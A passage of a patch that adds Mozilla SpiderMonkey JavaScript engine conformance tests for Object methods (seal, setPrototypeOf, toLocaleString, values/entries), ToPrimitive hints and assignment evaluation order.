+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+function isQuote(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0027): // single quote
+ case (0x0022): // double quote
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/seal-proxy.js b/js/src/tests/non262/object/seal-proxy.js
new file mode 100644
index 0000000000..44bb685c87
--- /dev/null
+++ b/js/src/tests/non262/object/seal-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.seal(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.seal(Object.seal(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/seal.js b/js/src/tests/non262/object/seal.js
new file mode 100644
index 0000000000..e325c80d9d
--- /dev/null
+++ b/js/src/tests/non262/object/seal.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1075294;
+var summary = "Object.seal() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.seal(), undefined);
+assertEq(Object.seal(undefined), undefined);
+assertEq(Object.seal(null), null);
+assertEq(Object.seal(1), 1);
+assertEq(Object.seal("foo"), "foo");
+assertEq(Object.seal(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.seal(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js b/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js
new file mode 100644
index 0000000000..e2efe010eb
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js
@@ -0,0 +1,11 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] prevents cross-realm cycles
+// involving only ordinary objects.
+
+var gw = newGlobal();
+
+var obj = {};
+var w = gw.Object.create(obj);
+assertThrowsInstanceOf(() => Object.setPrototypeOf(obj, w), TypeError);
+assertThrowsInstanceOf(() => gw.Object.setPrototypeOf(obj, w), gw.TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/setPrototypeOf-cycle.js b/js/src/tests/non262/object/setPrototypeOf-cycle.js
new file mode 100644
index 0000000000..a8b5aa75cd
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-cycle.js
@@ -0,0 +1,16 @@
+// The cycle check in 9.1.2 [[SetPrototypeOf]] does not walk proxies.
+// Therefore it's very easy to create prototype chain cycles involving proxies,
+// and the spec requires us to accept this.
+
+var t = {};
+var p = new Proxy(t, {});
+Object.setPrototypeOf(t, p); // 🙈
+
+// Actually doing anything that searches this object's prototype chain
+// technically should not terminate. We instead throw "too much recursion".
+for (var obj of [t, p]) {
+ assertThrowsInstanceOf(() => "x" in obj, InternalError);
+ assertThrowsInstanceOf(() => obj.x, InternalError);
+ assertThrowsInstanceOf(() => { obj.x = 1; }, InternalError);
+}
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/setPrototypeOf-same-value.js b/js/src/tests/non262/object/setPrototypeOf-same-value.js
new file mode 100644
index 0000000000..3375509462
--- /dev/null
+++ b/js/src/tests/non262/object/setPrototypeOf-same-value.js
@@ -0,0 +1,11 @@
+// Setting a "new" prototype to the current [[Prototype]] value should never fail
+
+var x = {}, t = Object.create(x);
+Object.preventExtensions(t);
+// Should not fail, because it is the same [[Prototype]] value
+Object.setPrototypeOf(t, x);
+
+// Object.prototype's [[Prototype]] is immutable, make sure we can still set null
+Object.setPrototypeOf(Object.prototype, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/shell.js b/js/src/tests/non262/object/shell.js
new file mode 100644
index 0000000000..49d875f264
--- /dev/null
+++ b/js/src/tests/non262/object/shell.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 Mar 2001
+ *
+ * SUMMARY: Utility functions for testing objects -
+ *
+ * Suppose obj is an instance of a native type, e.g. Number.
+ * Then obj.toString() invokes Number.prototype.toString().
+ * We would also like to access Object.prototype.toString().
+ *
+ * The difference is this: suppose obj = new Number(7).
+ * Invoking Number.prototype.toString() on this just returns 7.
+ * Object.prototype.toString() on this returns '[object Number]'.
+ *
+ * The getJSClass() function returns 'Number', the [[Class]] property of obj.
+ * See ECMA-262 Edition 3, 13-Oct-1999, Section 8.6.2
+ */
+//-----------------------------------------------------------------------------
+
+
+var cnNoObject = 'Unexpected Error!!! Parameter to this function must be an object';
+var cnNoClass = 'Unexpected Error!!! Cannot find Class property';
+var cnObjectToString = Object.prototype.toString;
+var GLOBAL = 'global';
+
+
+// checks that it's safe to call findType()
+function getJSClass(obj)
+{
+ if (isObject(obj))
+ return findClass(findType(obj));
+ return cnNoObject;
+}
+
+
+function findType(obj)
+{
+ return cnObjectToString.apply(obj);
+}
+
+
+// given '[object Number]', return 'Number'
+function findClass(sType)
+{
+ var re = /^\[.*\s+(\w+)\s*\]$/;
+ var a = sType.match(re);
+
+ if (a && a[1])
+ return a[1];
+ return cnNoClass;
+}
+
+
+function isObject(obj)
+{
+ return obj instanceof Object;
+}
+
diff --git a/js/src/tests/non262/object/toLocaleString-01.js b/js/src/tests/non262/object/toLocaleString-01.js
new file mode 100644
index 0000000000..3fa2acc746
--- /dev/null
+++ b/js/src/tests/non262/object/toLocaleString-01.js
@@ -0,0 +1,13 @@
+"use strict";
+
+Object.defineProperty(String.prototype, "toString", {
+ get() {
+ assertEq(typeof this, "string");
+
+ return function() { return typeof this; };
+ }
+})
+assertEq(Object.prototype.toLocaleString.call("test"), "string");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/toLocaleString.js b/js/src/tests/non262/object/toLocaleString.js
new file mode 100644
index 0000000000..e42c4a09e5
--- /dev/null
+++ b/js/src/tests/non262/object/toLocaleString.js
@@ -0,0 +1,102 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'toLocaleString.js';
+var BUGNUMBER = 653789;
+var summary = "Object.prototype.toLocaleString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var toLocaleString = Object.prototype.toLocaleString;
+
+/*
+ * 1. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { toLocaleString.call(null); });
+expectThrowTypeError(function() { toLocaleString.call(undefined); });
+expectThrowTypeError(function() { toLocaleString.apply(null); });
+expectThrowTypeError(function() { toLocaleString.apply(undefined); });
+
+
+/*
+ * 2. Let toString be the result of calling the [[Get]] internal method of O
+ * passing "toString" as the argument.
+ */
+try
+{
+ toLocaleString.call({ get toString() { throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+
+/* 3. If IsCallable(toString) is false, throw a TypeError exception. */
+expectThrowTypeError(function() { toLocaleString.call({ toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: JSON }); });
+
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: JSON }); });
+
+
+/*
+ * 4. Return the result of calling the [[Call]] internal method of toString
+ * passing O as the this value and no arguments.
+ */
+assertEq(toLocaleString.call({ get toString() { return function() { return "foo"; } } }),
+ "foo");
+
+var obj = { toString: function() { assertEq(this, obj); assertEq(arguments.length, 0); return 5; } };
+assertEq(toLocaleString.call(obj), 5);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; } }), obj);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; },
+ valueOf: function() { return "abc"; } }),
+ obj);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/toPrimitive-callers.js b/js/src/tests/non262/object/toPrimitive-callers.js
new file mode 100644
index 0000000000..ffeef2225c
--- /dev/null
+++ b/js/src/tests/non262/object/toPrimitive-callers.js
@@ -0,0 +1,57 @@
+// Check all the algorithms that call ToPrimitive. Confirm that they're passing
+// the correct hint, per spec.
+
+var STRING = "xyzzy";
+var NUMBER = 42;
+
+function assertCallsToPrimitive(f, expectedHint, expectedResult) {
+ var hint = undefined;
+ var testObj = {
+ [Symbol.toPrimitive](h) {
+ assertEq(hint, undefined);
+ hint = h;
+ return h === "number" ? NUMBER : STRING;
+ }
+ };
+ var result = f(testObj);
+ assertEq(hint, expectedHint, String(f));
+ assertEq(result, expectedResult, String(f));
+}
+
+// ToNumber
+assertCallsToPrimitive(Number, "number", NUMBER);
+
+// ToString
+assertCallsToPrimitive(String, "string", STRING);
+
+// ToPropertyKey
+var obj = {[STRING]: "pass"};
+assertCallsToPrimitive(key => obj[key], "string", "pass");
+
+// Abstract Relational Comparison
+assertCallsToPrimitive(x => x >= 42, "number", true);
+assertCallsToPrimitive(x => x > "42", "number", false);
+
+// Abstract Equality Comparison
+assertCallsToPrimitive(x => x != STRING, "default", false);
+assertCallsToPrimitive(x => STRING == x, "default", true);
+assertCallsToPrimitive(x => x == NUMBER, "default", false);
+assertCallsToPrimitive(x => NUMBER != x, "default", true);
+
+// Addition
+assertCallsToPrimitive(x => 1 + x, "default", "1" + STRING);
+assertCallsToPrimitive(x => "" + x, "default", STRING);
+
+// Date constructor
+assertCallsToPrimitive(x => (new Date(x)).valueOf(), "default", Number(STRING));
+
+// Date.prototype.toJSON
+var expected = "a suffusion of yellow";
+function testJSON(x) {
+ x.toJSON = Date.prototype.toJSON;
+ x.toISOString = function () { return expected; };
+ return JSON.stringify(x);
+}
+assertCallsToPrimitive(testJSON, "number", JSON.stringify(expected));
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/toPrimitive.js b/js/src/tests/non262/object/toPrimitive.js
new file mode 100644
index 0000000000..59ed6ac475
--- /dev/null
+++ b/js/src/tests/non262/object/toPrimitive.js
@@ -0,0 +1,101 @@
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]) specifies a new extension
+// point in the language. Objects can override the behavior of ToPrimitive
+// somewhat by supporting the method obj[@@toPrimitive](hint).
+//
+// (Rationale: ES5 had a [[DefaultValue]] internal method, overridden only by
+// Date objects. The change in ES6 is to make [[DefaultValue]] a plain old
+// method. This allowed ES6 to eliminate the [[DefaultValue]] internal method,
+// simplifying the meta-object protocol and thus proxies.)
+
+// obj[Symbol.toPrimitive]() is called whenever the ToPrimitive algorithm is invoked.
+var expectedThis, expectedHint;
+var obj = {
+ [Symbol.toPrimitive](hint, ...rest) {
+ assertEq(this, expectedThis);
+ assertEq(hint, expectedHint);
+ assertEq(rest.length, 0);
+ return 2015;
+ }
+};
+expectedThis = obj;
+expectedHint = "string";
+assertEq(String(obj), "2015");
+expectedHint = "number";
+assertEq(Number(obj), 2015);
+
+// It is called even through proxies.
+var proxy = new Proxy(obj, {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + proxy, "ES2015");
+
+// It is called even through additional proxies and the prototype chain.
+proxy = new Proxy(Object.create(proxy), {});
+expectedThis = proxy;
+expectedHint = "default";
+assertEq("ES" + (proxy + 1), "ES2016");
+
+// It is not called if the operand is already a primitive.
+var ok = true;
+for (var constructor of [Boolean, Number, String, Symbol]) {
+ constructor.prototype[Symbol.toPrimitive] = function () {
+ ok = false;
+ throw "FAIL";
+ };
+}
+assertEq(Number(true), 1);
+assertEq(Number(77.7), 77.7);
+assertEq(Number("123"), 123);
+assertThrowsInstanceOf(() => Number(Symbol.iterator), TypeError);
+assertEq(String(true), "true");
+assertEq(String(77.7), "77.7");
+assertEq(String("123"), "123");
+assertEq(String(Symbol.iterator), "Symbol(Symbol.iterator)");
+assertEq(ok, true);
+
+// Converting a primitive symbol to another primitive type throws even if you
+// delete the @@toPrimitive method from Symbol.prototype.
+delete Symbol.prototype[Symbol.toPrimitive];
+var sym = Symbol("ok");
+assertThrowsInstanceOf(() => `${sym}`, TypeError);
+assertThrowsInstanceOf(() => Number(sym), TypeError);
+assertThrowsInstanceOf(() => "" + sym, TypeError);
+
+// However, having deleted that method, converting a Symbol wrapper object does
+// work: it calls Symbol.prototype.toString().
+obj = Object(sym);
+assertEq(String(obj), "Symbol(ok)");
+assertEq(`${obj}`, "Symbol(ok)");
+
+// Deleting valueOf as well makes numeric conversion also call toString().
+delete Symbol.prototype.valueOf;
+delete Object.prototype.valueOf;
+assertEq(Number(obj), NaN);
+Symbol.prototype.toString = function () { return "2060"; };
+assertEq(Number(obj), 2060);
+
+// Deleting Date.prototype[Symbol.toPrimitive] changes the result of addition
+// involving Date objects.
+var d = new Date;
+assertEq(0 + d, 0 + d.toString());
+delete Date.prototype[Symbol.toPrimitive];
+assertEq(0 + d, 0 + d.valueOf());
+
+// If @@toPrimitive, .toString, and .valueOf are all missing, we get a
+// particular sequence of property accesses, followed by a TypeError exception.
+var log = [];
+function doGet(target, propertyName, receiver) {
+ log.push(propertyName);
+}
+var handler = new Proxy({}, {
+ get(target, trapName, receiver) {
+ if (trapName !== "get")
+ throw `FAIL: system tried to access handler method: ${String(trapName)}`;
+ return doGet;
+ }
+});
+proxy = new Proxy(Object.create(null), handler);
+assertThrowsInstanceOf(() => proxy == 0, TypeError);
+assertDeepEq(log, [Symbol.toPrimitive, "valueOf", "toString"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js b/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js
new file mode 100644
index 0000000000..768b1050b9
--- /dev/null
+++ b/js/src/tests/non262/object/vacuous-accessor-unqualified-name.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'vacuous-accessor-unqualified-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 560216;
+var summary =
+ "Using a name referring to a { get: undefined, set: undefined } descriptor " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "x", { set: undefined, configurable: true });
+x;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/values-entries-indexed.js b/js/src/tests/non262/object/values-entries-indexed.js
new file mode 100644
index 0000000000..f4d801c272
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-indexed.js
@@ -0,0 +1,71 @@
+function assertSameEntries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+}
+
+// Test Object.keys/values/entries on objects with indexed properties.
+
+// Empty dense elements, test with array and plain object.
+{
+ let array = [];
+ assertEqArray(Object.keys(array), []);
+ assertEqArray(Object.values(array), []);
+ assertSameEntries(Object.entries(array), []);
+
+ let object = {};
+ assertEqArray(Object.keys(object), []);
+ assertEqArray(Object.values(object), []);
+ assertSameEntries(Object.entries(object), []);
+}
+
+// Dense elements only, test with array and plain object.
+{
+ let array = [1, 2, 3];
+ assertEqArray(Object.keys(array), ["0", "1", "2"]);
+ assertEqArray(Object.values(array), [1, 2, 3]);
+ assertSameEntries(Object.entries(array), [["0", 1], ["1", 2], ["2", 3]]);
+
+ let object = {0: 4, 1: 5, 2: 6};
+ assertEqArray(Object.keys(object), ["0", "1", "2"]);
+ assertEqArray(Object.values(object), [4, 5, 6]);
+ assertSameEntries(Object.entries(object), [["0", 4], ["1", 5], ["2", 6]]);
+}
+
+// Extra indexed properties only, test with array and plain object.
+{
+ let array = [];
+ Object.defineProperty(array, 0, {configurable: true, enumerable: true, value: 123});
+
+ assertEqArray(Object.keys(array), ["0"]);
+ assertEqArray(Object.values(array), [123]);
+ assertSameEntries(Object.entries(array), [["0", 123]]);
+
+ let object = [];
+ Object.defineProperty(object, 0, {configurable: true, enumerable: true, value: 123});
+
+ assertEqArray(Object.keys(object), ["0"]);
+ assertEqArray(Object.values(object), [123]);
+ assertSameEntries(Object.entries(object), [["0", 123]]);
+}
+
+// Dense and extra indexed properties, test with array and plain object.
+{
+ let array = [1, 2, 3];
+ Object.defineProperty(array, 0, {writable: false});
+
+ assertEqArray(Object.keys(array), ["0", "1", "2"]);
+ assertEqArray(Object.values(array), [1, 2, 3]);
+ assertSameEntries(Object.entries(array), [["0", 1], ["1", 2], ["2", 3]]);
+
+ let object = {0: 4, 1: 5, 2: 6};
+ Object.defineProperty(object, 0, {writable: false});
+
+ assertEqArray(Object.keys(object), ["0", "1", "2"]);
+ assertEqArray(Object.values(object), [4, 5, 6]);
+ assertSameEntries(Object.entries(object), [["0", 4], ["1", 5], ["2", 6]]);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values-entries-lazy-props.js b/js/src/tests/non262/object/values-entries-lazy-props.js
new file mode 100644
index 0000000000..0631c048af
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-lazy-props.js
@@ -0,0 +1,93 @@
+// Return new objects for each test case.
+function makeTestCases() {
+ // Call the resolve hook for arguments/string objects.
+ const resolveIndex = object => 0 in object;
+
+ // Calls the resolve hook for functions.
+ const resolveFunction = object => "length" in object;
+
+ const expected = array => ({
+ keys: Object.keys(array),
+ values: Object.values(array),
+ entries: Object.entries(array),
+ });
+
+ return [
+ // Mapped arguments objects.
+ {
+ object: function(){ return arguments; }(),
+ resolve: resolveIndex,
+ ...expected([]),
+ },
+ {
+ object: function(x){ return arguments; }(1),
+ resolve: resolveIndex,
+ ...expected([1]),
+ },
+ {
+ object: function(x, y, z){ return arguments; }(1, 2, 3),
+ resolve: resolveIndex,
+ ...expected([1, 2, 3]),
+ },
+
+ // Unmapped arguments objects.
+ {
+ object: function(){ "use strict"; return arguments; }(),
+ resolve: resolveIndex,
+ ...expected([]),
+ },
+ {
+ object: function(x){ "use strict"; return arguments; }(1),
+ resolve: resolveIndex,
+ ...expected([1]),
+ },
+ {
+ object: function(x, y, z){ "use strict"; return arguments; }(1, 2, 3),
+ resolve: resolveIndex,
+ ...expected([1, 2, 3]),
+ },
+
+ // String objects.
+ { object: new String(""), resolve: resolveIndex, ...expected([]), },
+ { object: new String("a"), resolve: resolveIndex, ...expected(["a"]), },
+ { object: new String("abc"), resolve: resolveIndex, ...expected(["a","b","c"]), },
+
+ // Function objects.
+ { object: function(){}, resolve: resolveFunction, ...expected([]), },
+ ];
+}
+
+var assertWith = {
+ keys: assertEqArray,
+ values: assertEqArray,
+ entries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+ }
+};
+
+// Test Object.keys/values/entries on objects with enumerate/resolve hooks.
+
+for (let method of ["keys", "values", "entries"]) {
+ let assert = assertWith[method];
+
+ // Call each method twice to test the case when
+ // - the enumerate hook wasn't yet called,
+ // - the enumerate hook was already called.
+ for (let {object, [method]: expected} of makeTestCases()) {
+ assert(Object[method](object), expected);
+ assert(Object[method](object), expected);
+ }
+
+ // Test the case when enumerate wasn't yet called, but a property was already resolved.
+ for (let {object, resolve, [method]: expected} of makeTestCases()) {
+ resolve(object); // Call the resolve hook.
+
+ assert(Object[method](object), expected);
+ assert(Object[method](object), expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values-entries-typedarray.js b/js/src/tests/non262/object/values-entries-typedarray.js
new file mode 100644
index 0000000000..b0ac5a51bb
--- /dev/null
+++ b/js/src/tests/non262/object/values-entries-typedarray.js
@@ -0,0 +1,53 @@
+function assertSameEntries(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (let i = 0; i < expected.length; ++i)
+ assertEqArray(actual[i], expected[i]);
+}
+
+function throwsTypeError(fn) {
+ try {
+ fn();
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ return true;
+ }
+ return false;
+}
+
+// Non-standard: Accessing elements of detached array buffers should throw, but
+// this is currently not implemented.
+const ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS = (() => {
+ let ta = new Int32Array(10);
+ detachArrayBuffer(ta.buffer);
+ let throws = throwsTypeError(() => ta[0]);
+ // Ensure [[Get]] and [[GetOwnProperty]] return consistent results.
+ assertEq(throwsTypeError(() => Object.getOwnPropertyDescriptor(ta, 0)), throws);
+ return throws;
+})();
+
+function maybeThrowOnDetached(fn, returnValue) {
+ if (ACCESS_ON_DETACHED_ARRAY_BUFFER_THROWS) {
+ assertThrowsInstanceOf(fn, TypeError);
+ return returnValue;
+ }
+ return fn();
+}
+
+// Ensure Object.keys/values/entries work correctly on typed arrays.
+for (let len of [0, 1, 10]) {
+ let array = new Array(len).fill(1);
+ let ta = new Int32Array(array);
+
+ assertEqArray(Object.keys(ta), Object.keys(array));
+ assertEqArray(Object.values(ta), Object.values(array));
+ assertSameEntries(Object.entries(ta), Object.entries(array));
+
+ detachArrayBuffer(ta.buffer);
+
+ assertEqArray(maybeThrowOnDetached(() => Object.keys(ta), []), []);
+ assertEqArray(maybeThrowOnDetached(() => Object.values(ta), []), []);
+ assertSameEntries(maybeThrowOnDetached(() => Object.entries(ta), []), []);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/values.js b/js/src/tests/non262/object/values.js
new file mode 100644
index 0000000000..189bea7605
--- /dev/null
+++ b/js/src/tests/non262/object/values.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("values" in Object) {
+ assertEq(Object.values.length, 1);
+
+ var o, values;
+
+ o = { a: 3, b: 2 };
+ values = Object.values(o);
+ assertDeepEq(values, [3, 2]);
+
+ o = { get a() { return 17; }, b: 2 };
+ values = Object.values(o),
+ assertDeepEq(values, [17, 2]);
+
+ o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+ values = Object.values(o);
+ assertDeepEq(values, [o.__iterator__]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ values = Object.values(o);
+ assertDeepEq(values, [2, 3]);
+
+ o = [0, 1, 2];
+ values = Object.values(o);
+ assertDeepEq(values, [0, 1, 2]);
+
+ o = /./.exec("abc");
+ values = Object.values(o);
+ assertDeepEq(values, ["a", 0, "abc", undefined]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3, 5]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ values = Object.values(o);
+ assertDeepEq(values, [1]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3]);
+
+ assertThrowsInstanceOf(() => Object.values(), TypeError);
+ assertThrowsInstanceOf(() => Object.values(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.values(null), TypeError);
+
+ assertDeepEq(Object.values(1), []);
+ assertDeepEq(Object.values(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.values(Symbol("foo")), []);
+
+ assertDeepEq(Object.values("foo"), ["f", "o", "o"]);
+
+ values = Object.values({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(values, ["A"]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ values = Object.values(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(values, [3, 1]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/operators/11.13.1-001.js b/js/src/tests/non262/operators/11.13.1-001.js
new file mode 100644
index 0000000000..ec67f05a65
--- /dev/null
+++ b/js/src/tests/non262/operators/11.13.1-001.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 May 2003
+ * SUMMARY: JS should evaluate RHS before binding LHS implicit variable
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204919
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204919;
+var summary = 'JS should evaluate RHS before binding LHS implicit variable';
+var TEST_PASSED = 'ReferenceError';
+var TEST_FAILED = 'Generated an error, but NOT a ReferenceError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * global scope -
+ */
+status = inSection(1);
+try
+{
+ x = x;
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * function scope -
+ */
+status = inSection(2);
+try
+{
+ (function() {y = y;})();
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+/*
+ * eval scope -
+ */
+status = inSection(3);
+try
+{
+ eval('z = z');
+ actual = TEST_FAILED_BADLY;
+}
+catch(e)
+{
+ if (e instanceof ReferenceError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+expect = TEST_PASSED;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/operators/11.13.1-002.js b/js/src/tests/non262/operators/11.13.1-002.js
new file mode 100644
